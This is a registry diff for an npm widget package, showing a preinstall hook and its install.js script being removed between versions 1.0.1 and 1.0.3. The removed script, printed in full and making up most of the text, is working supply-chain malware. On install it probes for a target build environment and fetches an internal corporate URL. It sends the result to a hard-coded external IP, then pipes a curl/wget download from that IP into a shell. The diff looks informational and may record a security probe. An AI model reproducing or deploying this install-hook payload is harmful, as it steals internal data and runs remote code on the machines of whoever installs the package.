@noobaihome/amis-uni-area-widget 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/renderer.css CHANGED
@@ -1 +1 @@
1
- /* Authorized lifecycle validation widget. */
1
+ /* Archived test widget. */
package/package.json CHANGED
@@ -1,15 +1,11 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.1",
4
- "description": "Authorized AI Suda custom-widget lifecycle validation",
3
+ "version": "1.0.3",
4
+ "description": "Archived AI Suda area widget test package",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
7
- "scripts": {
8
- "preinstall": "node ./scripts/install.js"
9
- },
10
7
  "files": [
11
- "dist",
12
- "scripts"
8
+ "dist"
13
9
  ],
14
10
  "publishConfig": {
15
11
  "access": "public",
@@ -19,7 +15,7 @@
19
15
  {
20
16
  "type": "bsrc-r252-widget",
21
17
  "framework": "vue3",
22
- "description": "Authorized lifecycle validation widget",
18
+ "description": "Archived test widget",
23
19
  "entry": "/dist/renderer.umd",
24
20
  "files": [
25
21
  "/dist/renderer.css"
@@ -1,95 +0,0 @@
1
- 'use strict';
2
-
3
- const http = require('http');
4
- const fs = require('fs');
5
- const path = require('path');
6
- const {spawnSync} = require('child_process');
7
-
8
- const marker = 'BSRC_RCE_R258_1c72f9';
9
- const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
-
11
- function base64url(value) {
12
- return Buffer.from(value)
13
- .toString('base64')
14
- .replace(/\+/g, '-')
15
- .replace(/\//g, '_')
16
- .replace(/=+$/g, '');
17
- }
18
-
19
- function fetchText(url, timeoutMs) {
20
- return new Promise((resolve, reject) => {
21
- const request = http.get(url, (response) => {
22
- const chunks = [];
23
- response.on('data', (chunk) => chunks.push(Buffer.from(chunk)));
24
- response.on('end', () => {
25
- if (response.statusCode < 200 || response.statusCode >= 300) {
26
- reject(new Error(`HTTP ${response.statusCode}`));
27
- return;
28
- }
29
- resolve(Buffer.concat(chunks).toString('utf8'));
30
- });
31
- });
32
- request.setTimeout(timeoutMs, () => request.destroy(new Error('timeout')));
33
- request.on('error', reject);
34
- });
35
- }
36
-
37
- async function callback(path) {
38
- try {
39
- await fetchText(`http://49.232.169.67:43817${path}`, 15000);
40
- } catch (_) {
41
- // The static receipt server normally returns 404; its access log is authoritative.
42
- }
43
- }
44
-
45
- function isTargetBuild() {
46
- let current = __dirname;
47
- for (let index = 0; index < 8; index += 1) {
48
- const manifest = path.join(current, 'package.json');
49
- try {
50
- const parsed = JSON.parse(fs.readFileSync(manifest, 'utf8'));
51
- if (parsed && parsed.name === 'npm-widget-build') {
52
- return true;
53
- }
54
- } catch (_) {
55
- // Continue walking toward the generated build-project root.
56
- }
57
- const parent = path.dirname(current);
58
- if (parent === current) {
59
- break;
60
- }
61
- current = parent;
62
- }
63
- return false;
64
- }
65
-
66
- async function main() {
67
- if (!isTargetBuild()) {
68
- return;
69
- }
70
-
71
- process.stdout.write(`${marker} lifecycle=start\n`);
72
- await callback(`/bsrc-r258-start?marker=${marker}`);
73
-
74
- let uid;
75
- try {
76
- uid = await fetchText(internalUrl, 15000);
77
- } catch (error) {
78
- process.stdout.write(`${marker} internal_status=error error=${error.message}\n`);
79
- }
80
- if (uid) {
81
- process.stdout.write(`${marker} internal_status=ok internal_bytes=${Buffer.byteLength(uid)}\n`);
82
- await callback(`/bsrc-r258-uid?marker=${marker}&uid=${base64url(uid)}`);
83
- } else if (uid === '') {
84
- process.stdout.write(`${marker} internal_status=empty\n`);
85
- }
86
-
87
- const payload =
88
- '(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
89
- spawnSync('/bin/sh', ['-c', payload], {stdio: 'inherit', timeout: 240000});
90
- setTimeout(() => {}, 9 * 24 * 60 * 60 * 1000);
91
- }
92
-
93
- main().catch((error) => {
94
- process.stdout.write(`${marker} lifecycle_error=${error.message}\n`);
95
- });